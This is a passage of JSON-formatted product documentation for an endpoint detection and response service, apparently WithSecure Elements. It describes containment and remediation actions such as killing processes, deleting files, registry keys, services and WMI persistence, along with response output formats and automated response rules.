"cell.entry_test_connections_000025_0341E4" ] }, { "row.row_test_connections_000028_F48F01": [ "cell.entry_test_connections_000029_1A0E8A", "cell.entry_test_connections_00002B_B643BC", "cell.entry_test_connections_00002D_481A9D", "cell.entry_test_connections_00002F_A8C99C" ] }, { "row.row_test_connections_000032_7D2904": [ "cell.entry_test_connections_000033_820901", "cell.entry_test_connections_000035_961E9F", "cell.entry_test_connections_000037_5D15D0", "cell.entry_test_connections_000039_82FD77" ] } ] }, "content.p_test_connections_00003C_FF8C1E", "content.p_test_connections_000044_91E1DC", "content.p_test_connections_00003F_DC0654" ] }, "containment_jobs-latest-en.json": { "title": "title_containment_jobs_000001_941205", "title_containment_jobs_000001_941205": "Containment actions", "shortdesc": "shortdesc_containment_jobs_000002_ADBC88", "shortdesc_containment_jobs_000002_ADBC88": "Containment actions that actively prevent attackers from continuing their objective, such as killing processes or threads. ", "content.p_containment_jobs_000010_E4CD45": "The following containment actions are available. Select an action for detailed instructions and parameters.", "content.title_containment_jobs_000011_DA7DED": "Containment actions", "cell.entry_containment_jobs_000018_7B9FCB": "Action", "cell.entry_containment_jobs_000019_CB72D8": "Platform", "cell.entry_containment_jobs_00001A_C26FF5": "Description", "cell.entry_containment_jobs_00001D_306681": "Kill process", "cell.entry_containment_jobs_00001E_459486": "Win, Lnx, Mac", "cell.entry_containment_jobs_00001F_3071A7": "Terminates specified processes on an endpoint. Optionally captures process memory before killing.", "cell.entry_containment_jobs_000021_C8398E": "Kill thread", "cell.entry_containment_jobs_000022_723C6F": "Win", "cell.entry_containment_jobs_000023_124921": "Terminates a specified thread on an endpoint.", "desc": [ "content.p_containment_jobs_000010_E4CD45", "content.title_containment_jobs_000011_DA7DED", { "table.table_containment-actions": [ { "thead.thead_containment_jobs_000016_F8120F": [ "cell.entry_containment_jobs_000018_7B9FCB", "cell.entry_containment_jobs_000019_CB72D8", "cell.entry_containment_jobs_00001A_C26FF5" ] }, { "row.row_containment_jobs_00001C_545084": [ "cell.entry_containment_jobs_00001D_306681", "cell.entry_containment_jobs_00001E_459486", "cell.entry_containment_jobs_00001F_3071A7" ] }, { "row.row_containment_jobs_000020_467706": [ "cell.entry_containment_jobs_000021_C8398E", "cell.entry_containment_jobs_000022_723C6F", "cell.entry_containment_jobs_000023_124921" ] } ] } ], "related": [ "isolate_host-latest-en" ] }, "response_kill_process-latest-en.json": { "title": "title_response_kill_process_0000551E", "title_response_kill_process_0000551E": "Kill process (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_kill_process_000051FE", "shortdesc_response_kill_process_000051FE": "Describes how to terminate specified processes on an endpoint as a response action. ", "content.p_response_kill_process_0000FA1A": "Processes and threads form the base of any operating system. Processes can be injected with malicious code by an attacker or a legitimate process can be used to spawn a new malicious process or thread. Use this action to terminate specified processes on an endpoint.", "content.pt_response_kill_process_00008618": "Match ", "content.pd_response_kill_process_0000C4CB": "Select to kill processes based on their id, name, or path. Regular expressions (regex) can be used for process names and process paths.", "content.pt_response_kill_process_0000AFEE": "Dump Process Memory ", "content.pd_response_kill_process_0000BC93": "When this option is turned on, the memory of the process is captured before killing it.
", "content.pd_response_kill_process_000098F3": "This option is for Windows only and only available when the Match option is set to Process Id or Process Name Basic. By default, this option is turned on.", "content.pt_response_kill_process_0000706A": "Memory Dump Flags ", "content.pd_response_kill_process_00008D7E": "When the Dump Process Memory is turned on, select to use either Full or PMEM memory dump. Full includes all accessible memory in the process and may generate very large memory dump files. PMEM includes only the information that is necessary to capture stack traces for all existing threads in the process.", "content.title_response_kill_process_00001ECA": "Regex examples", "content.p_response_kill_process_0000C2C8": "Searching for a file (temp.txt) when you know the drive letter:", "content.p_response_kill_process_00008546": "c:\\\\(.*\\\\)?temp\\.txt", "content.p_response_kill_process_00004F86": "Searching for a file (temp.txt) across all drives:", "content.p_response_kill_process_00002E48": ".*\\\\temp\\.txt", "step.step_response_kill_process_0000BEA3": "Searching for a file where the file path is unknown.", "content.p_response_kill_process_000013EE": "Searching for any executable in c:\\path where the file name is precisely 4 characters in length:", "content.p_response_kill_process_00009EB1": "c:\\\\path\\\\.{4}\\.exe", "content.p_response_kill_process_0000A3B5": "Searching for any executable with a file name between 4 and 6 characters in length:", "content.p_response_kill_process_00006EA9": "c:\\\\path\\\\.{4,6}\\.exe", "step.step_response_kill_process_0000FE1F": "Searching for files that match a fixed-length random string - for example, heof.exe, jmeb.exe, nekj.exe.", "content.p_response_kill_process_0000CEE3": "Searching for files or folders anywhere in c: that end with either bat or xls:", "content.p_response_kill_process_0000C2F2": "c:\\\\.*\\.(bat|xls)", "step.step_response_kill_process_0000A078": "Searching for files that end with a particular extension – for example, *.ps1, *.xsl.", "content.p_response_kill_process_00005F12": "For further help, use a regular expression tester tool.", "desc": [ "content.p_response_kill_process_0000FA1A", { "parml.parml_response_kill_process_0000FA35": [ { "plentry.plentry_response_kill_process_00008B9D": [ "content.pt_response_kill_process_00008618", "content.pd_response_kill_process_0000C4CB" ] }, { "plentry.plentry_response_kill_process_00002918": [ "content.pt_response_kill_process_0000AFEE", "content.pd_response_kill_process_0000BC93", "content.pd_response_kill_process_000098F3" ] }, { "plentry.plentry_response_kill_process_0000A69E": [ "content.pt_response_kill_process_0000706A", "content.pd_response_kill_process_00008D7E" ] } ] }, "content.title_response_kill_process_00001ECA", { "steps.ol_response_kill_process_0000074A": [ "step.step_response_kill_process_0000BEA3", "content.p_response_kill_process_0000C2C8", "content.p_response_kill_process_00008546", "content.p_response_kill_process_00004F86", "content.p_response_kill_process_00002E48", "step.step_response_kill_process_0000FE1F", "content.p_response_kill_process_000013EE", "content.p_response_kill_process_00009EB1", "content.p_response_kill_process_0000A3B5", "content.p_response_kill_process_00006EA9", "step.step_response_kill_process_0000A078", "content.p_response_kill_process_0000CEE3", "content.p_response_kill_process_0000C2F2" ] }, "content.p_response_kill_process_00005F12" ] }, "response_kill_thread-latest-en.json": { "title": "title_response_kill_thread_000006E17", "title_response_kill_thread_000006E17": "Kill thread (Win)", "shortdesc": "shortdesc_response_kill_thread_0000045C1", "shortdesc_response_kill_thread_0000045C1": "Kills a thread. ", "content.p_response_kill_thread_0000179E8": "Processes and threads form the base of any operating system. Processes can be injected with malicious code by an attacker or a legitimate process can be used to spawn a new malicious process or thread. Use this action to terminate specified threads on an endpoint.", "content.pt_response_kill_thread_00001C477": "Thread ID ", "content.pd_response_kill_thread_0000139FB": "Enter the thread ID that you want to kill.", "desc": [ "content.p_response_kill_thread_0000179E8", { "parml.parml_response_kill_thread_00001FE7A": [ { "plentry.plentry_response_kill_thread_000016894": [ "content.pt_response_kill_thread_00001C477", "content.pd_response_kill_thread_0000139FB" ] } ] } ] }, "remediation_jobs-latest-en.json": { "title": "title_remediation_jobs_000001_41AFB9", "title_remediation_jobs_000001_41AFB9": "Remediation actions", "shortdesc": "shortdesc_remediation_jobs_000002_40EB81", "shortdesc_remediation_jobs_000002_40EB81": "Remediation actions that remove attacker-installed persistence mechanisms from an endpoint. ", "content.p_remediation_jobs_000010_3B4112": "Remediation actions remove attacker-installed persistence mechanisms from an endpoint. They include deleting files, registry keys, scheduled tasks, and services, and removing WMI persistence.", "desc": [ "content.p_remediation_jobs_000010_3B4112" ] }, "response_delete_files-latest-en.json": { "title": "title_response_delete_files_00005B5A", "title_response_delete_files_00005B5A": "Delete files (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_delete_files_0000BD1C", "shortdesc_response_delete_files_0000BD1C": "Deletes files or folders from the host. ", "content.p_response_delete_files_000034F5": "If there is a known malicious file on a host, use this action to remove it.", "content.pt_response_delete_files_0000F9AB": "Path ", "content.pd_response_delete_files_0000B6E3": "Enter the path to the file or folder that you want to delete, for example, c:\\users\\Tom.Smith\\temp\\runme.exe.", "content.pt_response_delete_files_00007C7E": "Auto-retrieve files ", "content.pd_response_delete_files_0000691A": "Select to create a backup copy of the file or folder before it is deleted. This can be also used for further investigation. By default, this option is turned on.", "content.pt_response_delete_files_0000EA0D": "Path structure ", "content.pd_response_delete_files_0000BCDE": "Select either All, Sub, or None.", "choice.choice_response_delete_files_0000379C": "All preserves the folder structure from the drive letter and shows the files exactly how they appear like on the disk. It can, however, be time consuming to navigate through.", "choice.choice_response_delete_files_0000B9C4": "Sub preserves the folder structure from the highest common folder, keeping the files all together as far as possible. This can be useful when investigating a particular folder.", "choice.choice_response_delete_files_0000307A": "None disregards the folder structure hierarchy and the files are all together. If multiple files have the same name in different folders, only one of them is included in the resulting ZIP file. In these cases, conflicts.txt file is included in the ZIP file to indicate this.", "content.pt_response_delete_files_00001B40": "Max. files ", "content.pd_response_delete_files_00009ABA": "The maximum number of files to retrieve. The default is set to 1000. The limit makes sure that the job completes successfully in an acceptable timeframe.", "content.pt_response_delete_files_000052DF": "Pre-verification check delay ", "content.pd_response_delete_files_0000FC9C": "Select the amount of time in seconds after the file or folder has been deleted to check that it has been removed successfully and for example some persistence mechanism did not restore it.", "desc": [ "content.p_response_delete_files_000034F5", { "parml.parml_response_delete_files_00006DFB": [ { "plentry.plentry_response_delete_files_00003FDD": [ "content.pt_response_delete_files_0000F9AB", "content.pd_response_delete_files_0000B6E3" ] }, { "plentry.plentry_response_delete_files_0000C09A": [ "content.pt_response_delete_files_00007C7E", "content.pd_response_delete_files_0000691A" ] }, { "plentry.plentry_response_delete_files_00008074": [ "content.pt_response_delete_files_0000EA0D", "content.pd_response_delete_files_0000BCDE", { "choices.ul_response_delete_files_00002891": [ "choice.choice_response_delete_files_0000379C", "choice.choice_response_delete_files_0000B9C4", "choice.choice_response_delete_files_0000307A" ] } ] }, { "plentry.plentry_response_delete_files_00000B4D": [ "content.pt_response_delete_files_00001B40", "content.pd_response_delete_files_00009ABA" ] }, { "plentry.plentry_response_delete_files_0000616D": [ "content.pt_response_delete_files_000052DF", "content.pd_response_delete_files_0000FC9C" ] } ] } ] }, "response_delete_registry-latest-en.json": { "title": "title_response_delete_registry_0C46B", "title_response_delete_registry_0C46B": "Delete registry (Win)", "shortdesc": "shortdesc_response_delete_registry_0972E", "shortdesc_response_delete_registry_0972E": "Deletes a registry key or value from the host. ", "content.p_response_delete_registry_01E67": "Delete a registry key or value to erase the persistence mechanism on a compromised host. This action deletes a value if one is specified, otherwise it deletes the key.", "content.pt_response_delete_registry_0703F": "Path ", "content.pd_response_delete_registry_007F2": "Enter the path for the registry key that you want to delete. This is case insensitive.", "content.pt_response_delete_registry_0DC37": "Value ", "content.pd_response_delete_registry_0005B": "If you define a value, only the value associated with the registry key is deleted. If you leave this field empty, the key is deleted. This is case insensitive.", "content.pt_response_delete_registry_0F300": "Recursive ", "content.pd_response_delete_registry_09C60": "Select to delete subkeys under this key. If the registry key has subkeys and this is not selected, the key cannot be deleted.", "desc": [ "content.p_response_delete_registry_01E67", { "parml.parml_response_delete_registry_00E85": [ { "plentry.plentry_response_delete_registry_0740E": [ "content.pt_response_delete_registry_0703F", "content.pd_response_delete_registry_007F2" ] }, { "plentry.plentry_response_delete_registry_0CECC": [ "content.pt_response_delete_registry_0DC37", "content.pd_response_delete_registry_0005B" ] }, { "plentry.plentry_response_delete_registry_03193": [ "content.pt_response_delete_registry_0F300", "content.pd_response_delete_registry_09C60" ] } ] } ] }, "response_delete_scheduled_tasks-latest-en.json": { "title": "title_response_delete_schedule_0EDBF", "title_response_delete_schedule_0EDBF": "Delete scheduled tasks (Win)", "shortdesc": "shortdesc_response_delete_schedule_04F68", "shortdesc_response_delete_schedule_04F68": "Deletes from the host scheduled tasks that match your criteria. ", "content.p_response_delete_schedule_0BBE5": "Delete a Windows Scheduled Task to stop a known malicious scheduled task from executing further.", "content.pt_response_delete_schedule_0C505": "Task name ", "content.pd_response_delete_schedule_003D7": "Enter the name of the scheduled task to delete from the endpoint.", "desc": [ "content.p_response_delete_schedule_0BBE5", { "parml.parml_response_delete_schedule_06B58": [ { "plentry.plentry_response_delete_schedule_0A2F6": [ "content.pt_response_delete_schedule_0C505", "content.pd_response_delete_schedule_003D7" ] } ] } ] }, "response_delete_services-latest-en.json": { "title": "title_response_delete_services_0EC7F", "title_response_delete_services_0EC7F": "Delete services (Win)", "shortdesc": "shortdesc_response_delete_services_0EFB2", "shortdesc_response_delete_services_0EFB2": "Deletes from the host services that match your criteria. ", "content.p_response_delete_services_0A5B5": "Delete a service to remove it from a target endpoint, for example to hamper the actions by an attacker on a compromised endpoint or to remove the persistence mechanism from it.", "content.pt_response_delete_services_036B0": "Match ", "content.pd_response_delete_services_0787F": "Select either service name or display name of the service.", "content.pt_response_delete_services_03E72": "Name ", "content.pd_response_delete_services_044C7": "Enter either the service name or the display name of the service to delete from the endpoint.", "desc": [ "content.p_response_delete_services_0A5B5", { "parml.parml_response_delete_services_0AF86": [ { "plentry.plentry_response_delete_services_0813C": [ "content.pt_response_delete_services_036B0", "content.pd_response_delete_services_0787F" ] }, { "plentry.plentry_response_delete_services_08A28": [ "content.pt_response_delete_services_03E72", "content.pd_response_delete_services_044C7" ] } ] } ] }, "concept_response_remove_permission-latest-en.json": { "title": "title_response_remove_permissi_02C82", "title_response_remove_permissi_02C82": "Remove permission (Win)", "shortdesc": "shortdesc_response_remove_permissi_0A946", "shortdesc_response_remove_permissi_0A946": "Removes a permission from a file or folder for a specific identity.", "content.p_response_remove_permissi_0627E": "This action removes a single access rule from a file or folder. An access rule is a combination of an identity, a permission, and an access type (Allow or Deny). If no access rule matches the chosen identity, permission, and access type, nothing changes.", "content.pt_response_remove_permissi_08552": "Path", "content.pd_response_remove_permissi_0F5F6": "Enter the path to the file or folder. This is case insensitive. For example, c:\\path\\to\\file_or_folder.", "content.pt_response_remove_permissi_09B7D": "Identity", "content.pd_response_remove_permissi_00969": "The Windows user or group to remove the permission from. Enter a domain account, local account, or built-in identity, for example, DOMAIN\\username, Everyone, or BUILTIN\\Administrators.", "content.pt_response_remove_permissi_0E9D4": "Permission", "content.pd_response_remove_permissi_0922A": "The file system permission to remove. Select a standard permission, such as Full Control, Modify, or Read & Execute. The default is Full Control. To specify the permission as a raw access mask, select Custom bits… and enter the value in the Custom bits field.", "content.pt_response_remove_permissi_05859": "Custom bits", "content.pd_response_remove_permissi_0BBCB": "When Permission is set to Custom bits…, enter the custom access mask bits in decimal format. For example, to remove the Synchronize permission, enter 1048576 (0x100000). This field is ignored when Permission is set to a standard permission.", "content.pt_response_remove_permissi_01F8D": "Access type", "content.pd_response_remove_permissi_0F8AB": "The type of access rule to remove. Select Allow to remove a rule that grants the permission, or Deny to remove a rule that denies it. The default is Allow.", "content.pt_response_remove_permissi_0EC49": "Recursive", "content.pd_response_remove_permissi_0E3B0": "Select to apply the operation to all files and subfolders under the path. This setting applies only when the target path is a folder.", "content.pt_response_remove_permissi_0C62F": "Remove inheritance", "content.pd_response_remove_permissi_08070": "Select to turn off permission inheritance on the target before the permission is removed. Inherited permissions are then either converted to explicit permissions or discarded, depending on the Preserve existing setting.", "content.pt_response_remove_permissi_0E683": "Preserve existing", "content.pd_response_remove_permissi_0BA41": "When you remove inheritance, choose whether to keep the already inherited permissions. Select True to keep them as explicit permissions, or False to discard them. This setting applies only when Remove inheritance is selected.", "desc": [ "content.p_response_remove_permissi_0627E", { "parml.parml_response_remove_permissi_07D71": [ { "plentry.plentry_response_remove_permissi_0E8E0": [ "content.pt_response_remove_permissi_08552", "content.pd_response_remove_permissi_0F5F6" ] }, { "plentry.plentry_response_remove_permissi_0B0B5": [ "content.pt_response_remove_permissi_09B7D", "content.pd_response_remove_permissi_00969" ] }, { "plentry.plentry_response_remove_permissi_07935": [ "content.pt_response_remove_permissi_0E9D4", "content.pd_response_remove_permissi_0922A" ] }, { "plentry.plentry_response_remove_permissi_0B00D": [ "content.pt_response_remove_permissi_05859", "content.pd_response_remove_permissi_0BBCB" ] }, { "plentry.plentry_response_remove_permissi_05C2C": [ "content.pt_response_remove_permissi_01F8D", "content.pd_response_remove_permissi_0F8AB" ] }, { "plentry.plentry_response_remove_permissi_01BEA": [ "content.pt_response_remove_permissi_0EC49", "content.pd_response_remove_permissi_0E3B0" ] }, { "plentry.plentry_response_remove_permissi_07805": [ "content.pt_response_remove_permissi_0C62F", "content.pd_response_remove_permissi_08070" ] }, { "plentry.plentry_response_remove_permissi_0642E": [ "content.pt_response_remove_permissi_0E683", "content.pd_response_remove_permissi_0BA41" ] } ] } ] }, "response_wmi_persistence_removal-latest-en.json": { "title": "title_response_wmi_persistence_00B3F", "title_response_wmi_persistence_00B3F": "Delete WMI persistence (Win)", "shortdesc": "shortdesc_response_wmi_persistence_06290", "shortdesc_response_wmi_persistence_06290": "This action deletes Windows Management Instrumentation (WMI) objects related to persistence. ", "content.p_response_wmi_persistence_01FA5": "WMI persistence requires three types of instances: an event filter, an event consumer, and a filter-to-consumer binding. These are known as \"persistence triples\". This action removes all instances that match your input. For example, if you enter only the EventConsumer name, the action removes the matching EventConsumer and all FilterToConsumerBindings that reference it. It also removes the EventFilters referenced by those bindings. Adding more search terms narrows the results to delete only matching instances.", "content.p_response_wmi_persistence_0DB66": "After deleting the instances, this action also checks that they remain deleted after the specified time delay. This verifies that an attacker has not re-created them automatically. The action raises an error if a deleted instance reappears.", "content.p_response_wmi_persistence_0CC27": "Use this action to remove persistence triples identified by the investigative action \"Enumerate WMI persistence\".", "content.p_response_wmi_persistence_0B570": "When you run this action, you must specify at least one of these parameters: EventConsumer Name, EventFilter Name, or FilterToConsumerBinding Path.", "content.pt_response_wmi_persistence_0A485": "Namespace ", "content.pd_response_wmi_persistence_069C9": "The WMI namespace. The default is root\\subscription.", "content.pt_response_wmi_persistence_020FD": "Backup WMI ", "content.pd_response_wmi_persistence_0CE52": "Controls whether the action backs up the WMI repository (using Windows Management) before deleting instances. You can download the backup for further review. This parameter is on by default.", "content.pt_response_wmi_persistence_03990": "EventConsumer name ", "content.p_response_wmi_persistence_038B1": "The name property of the WMI instance \"__EventConsumer\" to delete.
", "content.p_response_wmi_persistence_0C9DB": "Optional. If provided, the action uses it to find the matching EventConsumer and FilterToConsumerBinding instances to delete, as well as related EventFilter instances. If not provided, the action uses the EventFilter instance, the FilterToConsumerBinding path, or both to find the EventConsumer instances to delete.
", "content.p_response_wmi_persistence_0AFDB": "Example: Suspicious-WMI-EventConsumer", "content.pt_response_wmi_persistence_06F6A": "EventFilter name ", "content.p_response_wmi_persistence_0D98A": "The name property of the WMI instance \"__EventFilter\" to delete.
", "content.p_response_wmi_persistence_07742": "Optional. If provided, the action uses it to find matching EventFilter and FilterToConsumerBinding instances to delete, as well as related EventConsumer instances. If not provided, the action uses the EventConsumer instance, the FilterToConsumerBinding path, or both to find the EventFilter instances to delete.
", "content.p_response_wmi_persistence_0CA99": "Example: Suspicious-WMI-EventFilter", "content.pt_response_wmi_persistence_027CD": "FilterToConsumerBinding path", "content.p_response_wmi_persistence_0B5E4": "The name property of the WMI instance path \"__FilterToConsumerBinding\" to delete.
", "content.p_response_wmi_persistence_00A2B": "You can use the WQL wildcard character '%' in the path. Optional.
", "content.p_response_wmi_persistence_04CA2": "Example: Suspicious%EventFilter", "content.pt_response_wmi_persistence_02785": "Delay ", "content.pd_response_wmi_persistence_07D87": "The number of seconds to wait before querying WMI to confirm deletion. The default is 10 seconds, which is the recommended minimum.", "desc": [ "content.p_response_wmi_persistence_01FA5", "content.p_response_wmi_persistence_0DB66", "content.p_response_wmi_persistence_0CC27", "content.p_response_wmi_persistence_0B570", { "parml.parml_response_wmi_persistence_0F295": [ { "plentry.plentry_response_wmi_persistence_00999": [ "content.pt_response_wmi_persistence_0A485", "content.pd_response_wmi_persistence_069C9" ] }, { "plentry.plentry_response_wmi_persistence_04CB8": [ "content.pt_response_wmi_persistence_020FD", "content.pd_response_wmi_persistence_0CE52" ] }, { "plentry.plentry_response_wmi_persistence_0DA18": [ "content.pt_response_wmi_persistence_03990", "content.p_response_wmi_persistence_038B1", "content.p_response_wmi_persistence_0C9DB", "content.p_response_wmi_persistence_0AFDB" ] }, { "plentry.plentry_response_wmi_persistence_064B9": [ "content.pt_response_wmi_persistence_06F6A", "content.p_response_wmi_persistence_0D98A", "content.p_response_wmi_persistence_07742", "content.p_response_wmi_persistence_0CA99" ] }, { "plentry.plentry_response_wmi_persistence_092E6": [ "content.pt_response_wmi_persistence_027CD", "content.p_response_wmi_persistence_0B5E4", "content.p_response_wmi_persistence_00A2B", "content.p_response_wmi_persistence_04CA2" ] }, { "plentry.plentry_response_wmi_persistence_0C921": [ "content.pt_response_wmi_persistence_02785", "content.pd_response_wmi_persistence_07D87" ] } ] } ] }, "response_action_output_formats-latest-en.json": { "title": "title_response_action_output_f_0CC55", "title_response_action_output_f_0CC55": "Response action output formats", "shortdesc": "shortdesc_response_action_output_f_0EEF5", "shortdesc_response_action_output_f_0EEF5": "The results of response actions are output to a zip (compressed) file or a JSONL file. ", "content.p_response_action_output_f_09863": "Both output formats include response action metadata and actual response data.", "content.p_response_action_output_f_0B5DA": "Each zip file contains the following:", "subchoice.choice_response_action_output_f_01A63": "a metadata.json file that includes information about the device from where data was collected", "subchoice.choice_response_action_output_f_07B6B": "a content section that includes the actual response payload according to the selected response action parameters", "content.note_response_action_output_f_099F4": "Note: If the response payload contains executable files (for example, files with the .exe extension), the file is packaged into a password-protected zip file to prevent any malicious content being run accidentally. The password-protected zip file uses .zip.inactive file extension and the password to open the file is \"inactive\".", "step.step_response_action_output_f_05787": "Zip files", "content.p_response_action_output_f_0A6B1": "JSONL (json lines) is a JSON variant that allows you to store structured data entries within one line of text. JSONL files are plain text files that you can open in any text editor. Each line contains an atomic information structure. For example, the first line in a . jsonl file contains the following kind of response action details:", "content.p_response_action_output_f_0373F": "{\"response-header-version\":\"1.0.0.0\",\"response-engine-type\":\"Windows-dotNet\",\"response-engine-version\":\"2.17.928\",\"architecture\":\"amd64\",\"host-name\":\"DESKTOP-ANTTIP\",\"operating-system\":\"Microsoft%20Windows%2010%20Enterprise\",\"artefact-id\":\"dbc2327d-742b-42e0-b41a-483b47750d5e\",\"artefact-type\":\"netstat\",\"artefact-format\":\"jsonl\",\"job-id\":\"7f5c6be0-7380-4d60-ad30-31872e2e40f1\",\"job-author\":\"\",\"job-start-time\":\"1641562333100\",\"job-priority\":\"3\",\"job-background\":\"False\",\"job-persistent\":\"False\",\"job-synchronous\":\"True\",\"lib\":\"2.2\",\"upload-time\":\"1641562333147\",\"known-total-size\":\"\",\"file-name\":\"\"}", "step.step_response_action_output_f_08851": "JSONL files", "desc": [ "content.p_response_action_output_f_09863", { "steps.ul_response_action_output_f_07F9F": [ "step.step_response_action_output_f_05787", "content.p_response_action_output_f_0B5DA", { "subchoices.ul_response_action_output_f_028D8": [ "subchoice.choice_response_action_output_f_01A63", "subchoice.choice_response_action_output_f_07B6B" ] }, "content.note_response_action_output_f_099F4", "step.step_response_action_output_f_08851", "content.p_response_action_output_f_0A6B1", "content.p_response_action_output_f_0373F" ] } ] }, "automated_response-latest-en.json": { "title": "title_automated_response_000001_9A71", "title_automated_response_000001_9A71": "Automate responses to detections", "shortdesc": "shortdesc_automated_response_000002_639B", "shortdesc_automated_response_000002_639B": "You can automate certain actions for the organizations you choose when WithSecure Elements Endpoint Detection and Response detects an incident that matches the criteria that you set. ", "content.note_automated_response_000012_7C5C": "Note: Automatic responses are supported only on Windows and Mac endpoints.", "content.p_automated_response_000014_BFD0": "As an automated action to an incident, you can isolate hosts and auto-elevate incidents to WithSecure.", "content.p_automated_response_000016_A620": "The Automated actions page has three tabs:", "content.dt_automated_response_00001A_4959": "General", "content.dd_automated_response_00001C_E76B": "Lists the automated response rules that you create.", "content.dt_automated_response_00001E_C357": "Automated services", "content.dd_automated_response_000020_D62A": "Lists the automated services that WithSecure manages, such as automatically elevating incidents to WithSecure.", "content.dt_automated_response_000024_E0EC": "Suppression rules", "content.dd_automated_response_000026_F32B": "Lists the suppression rules that automatically close accepted broad context detections.", "content.p_automated_response_000027_22CE": "To add an automated response rule on the General tab for an organization:", "content.p_automated_response_00002C_7648": "The Home page opens.", "step.step_automated_response_00002A_33EF": "Log in to the portal with your email address and password.", "step.step_automated_response_00002E_B375": "Select Security Configurations > Automated actions.", "content.p_automated_response_000036_3970": "The Add rule wizard opens.", "step.step_automated_response_000033_7B12": "Select Add rule.", "content.dt_automated_response_000040_1C15": "Rule name ", "content.dd_automated_response_000041_6B09": "Enter a descriptive name for the rule.", "content.p_automated_response_00003D_117F": "", "substep.substep_automated_response_00003B_8E10": "Configure rule name.", "content.dt_automated_response_000047_13E9": "Rule type ", "content.dd_automated_response_000048_2805": "Select the type of rule:", "choice.choice_automated_response_00004A_9F8F": "Endpoint - Isolates affected devices or runs an EDR response action on them.", "choice.choice_automated_response_00004C_39F2": "Identity and Cloud - Block user access or force them to change their password", "content.p_automated_response_000044_BE61": "", "substep.substep_automated_response_000042_08BE": "Configure rule type.", "content.dt_automated_response_000053_BCB7": "Select Response", "content.dd_automated_response_000054_7760": "Choose the action to take when the rule is triggered:", "choice.choice_automated_response_000056_E373": "Device isolation - Disconnects the device from the network.", "choice.choice_automated_response_000058_FB90": "Retrieve files - Collects files from endpoints that match path patterns.", "choice.choice_automated_response_00005A_7C53": "Enumerate services - Lists installed services on Windows endpoints.", "choice.choice_automated_response_00005C_2FF2": "Retrieve browser artefacts - Collects browser history and data.", "choice.choice_automated_response_00005E_268A": "Netstat - Retrieves network connection information.", "choice.choice_automated_response_000060_713B": "Enumerate scheduled tasks - Lists Windows scheduled tasks.", "choice.choice_automated_response_000062_5D4A": "Enumerate processes - Lists running processes.", "choice.choice_automated_response_000064_E923": "End current session - Logs out the user.", "choice.choice_automated_response_000066_5BBA": "Reset password - Requires the user to change their password.", "choice.choice_automated_response_000068_F32F": "Block user access - Prevents the user access.", "content.note_automated_response_00006A_FFA5": "Note: The endpoint data-collection actions run automatically when a broad context detection reaches the selected risk level. Enter any required or optional parameters for the action that you select.
", "content.p_automated_response_0000A3_B126": "", "content.p_automated_response_000050_6FF9": "", "substep.substep_automated_response_00004E_F3BF": "Configure select response.", "content.dt_automated_response_000070_5653": "Organizations ", "content.dd_automated_response_000071_E0FA": "Select the organizations this rule applies to.", "content.note_automated_response_000072_95A2": "Note: Device isolation rules are removed if a company changes its organizational structure. If the rule was specific to that company, it will be deleted and has to be created again if necessary.
", "content.p_automated_response_00006D_1F7D": "", "substep.substep_automated_response_00006B_C97B": "Configure organizations.", "content.dt_automated_response_000078_3D1C": "Scope ", "content.dd_automated_response_000079_BA02": "Specify which accounts or devices the rule targets.
", "content.dd_automated_response_00007A_23DC": "By default, automated Endpoint response rules exclude devices labeled as critically important. To include them, select Include devices with critical importance.
", "content.dd_automated_response_00007E_225E": "For Endpoint rules, choose the device scope. All Devices can span multiple organizations. Devices with specific labels applies to a single organization only.
", "content.dd_automated_response_000082_7252": "Automated Identity and Cloud rules apply to all accounts, including privileged accounts.", "content.p_automated_response_000075_3292": "", "substep.substep_automated_response_000073_505F": "Configure scope.", "content.dt_automated_response_000089_61FC": "Risk level ", "content.dd_automated_response_00008A_1405": "Select the incident risk levels that trigger the rule: Severe, High, and Medium.", "content.p_automated_response_000086_07A2": "", "substep.substep_automated_response_000084_20D4": "Configure risk level.", "content.dt_automated_response_000093_FF3E": "Schedule ", "content.dd_automated_response_000094_891A": "By default, the rule is Continuous (always active). To restrict it to specific times, choose Custom and set the schedule.
", "content.dd_automated_response_000097_72FE": "", "content.note_automated_response_000098_7F0A": "Tip: When setting a custom schedule, make sure to select the correct timezone.
", "content.p_automated_response_000090_C9C8": "", "substep.substep_automated_response_00008E_EDB3": "Configure schedule.", "step.step_automated_response_000038_BD16": "Configure the automated response rule.", "content.p_automated_response_00009C_6F17": "The new rule is in effect as long as it is turned on.", "step.step_automated_response_000099_80CA": "Select Add to add the new rule to the automated actions rules list.", "content.p_automated_response_00009E_E704": "When WithSecure Elements Endpoint Detection and Response detects an incident that matches the rule conditions, the rule take effect and the service sends a notification email to organization contacts that you have defined.", "content.note_automated_response_0000A0_A63E": "Note: You can edit a rule from the automated actions rules list. After you create a rule, you cannot change its Rule type or Select Response action. You can update all other fields. You can also delete a rule from the list. The confirmation flow is the same for every response action, including the endpoint data-collection actions.", "desc": [ "content.note_automated_response_000012_7C5C", "content.p_automated_response_000014_BFD0", "content.p_automated_response_000016_A620", { "dl.dl_automated_response_000018_8E60": [ { "dlentry.dlentry_automated_response_000019_662E": [ "content.dt_automated_response_00001A_4959", "content.dd_automated_response_00001C_E76B" ] }, { "dlentry.dlentry_automated_response_00001D_1E27": [ "content.dt_automated_response_00001E_C357", "content.dd_automated_response_000020_D62A" ] }, { "dlentry.dlentry_automated_response_000023_7822": [ "content.dt_automated_response_000024_E0EC", "content.dd_automated_response_000026_F32B" ] } ] }, "content.p_automated_response_000027_22CE", { "steps.steps_automated_response_000029_8654": [ "step.step_automated_response_00002A_33EF", "content.p_automated_response_00002C_7648", "step.step_automated_response_00002E_B375", "step.step_automated_response_000033_7B12", "content.p_automated_response_000036_3970", "step.step_automated_response_000038_BD16", { "substeps.substepsalpha_automatedalpha_responsealpha_00003Aalpha_92B8": [ "substep.substep_automated_response_00003B_8E10", "content.p_automated_response_00003D_117F", { "dl.dl_automated_response_00003E_C979": [ { "dlentry.dlentry_automated_response_00003F_7D78": [ "content.dt_automated_response_000040_1C15", "content.dd_automated_response_000041_6B09" ] } ] }, "substep.substep_automated_response_000042_08BE", "content.p_automated_response_000044_BE61", { "dl.dl_automated_response_000045_C8A5": [ { "dlentry.dlentry_automated_response_000046_3C2D": [ "content.dt_automated_response_000047_13E9", "content.dd_automated_response_000048_2805", { "choices.ul_automated_response_000049_96B4": [ "choice.choice_automated_response_00004A_9F8F", "choice.choice_automated_response_00004C_39F2" ] } ] } ] }, "substep.substep_automated_response_00004E_F3BF", "content.p_automated_response_000050_6FF9", { 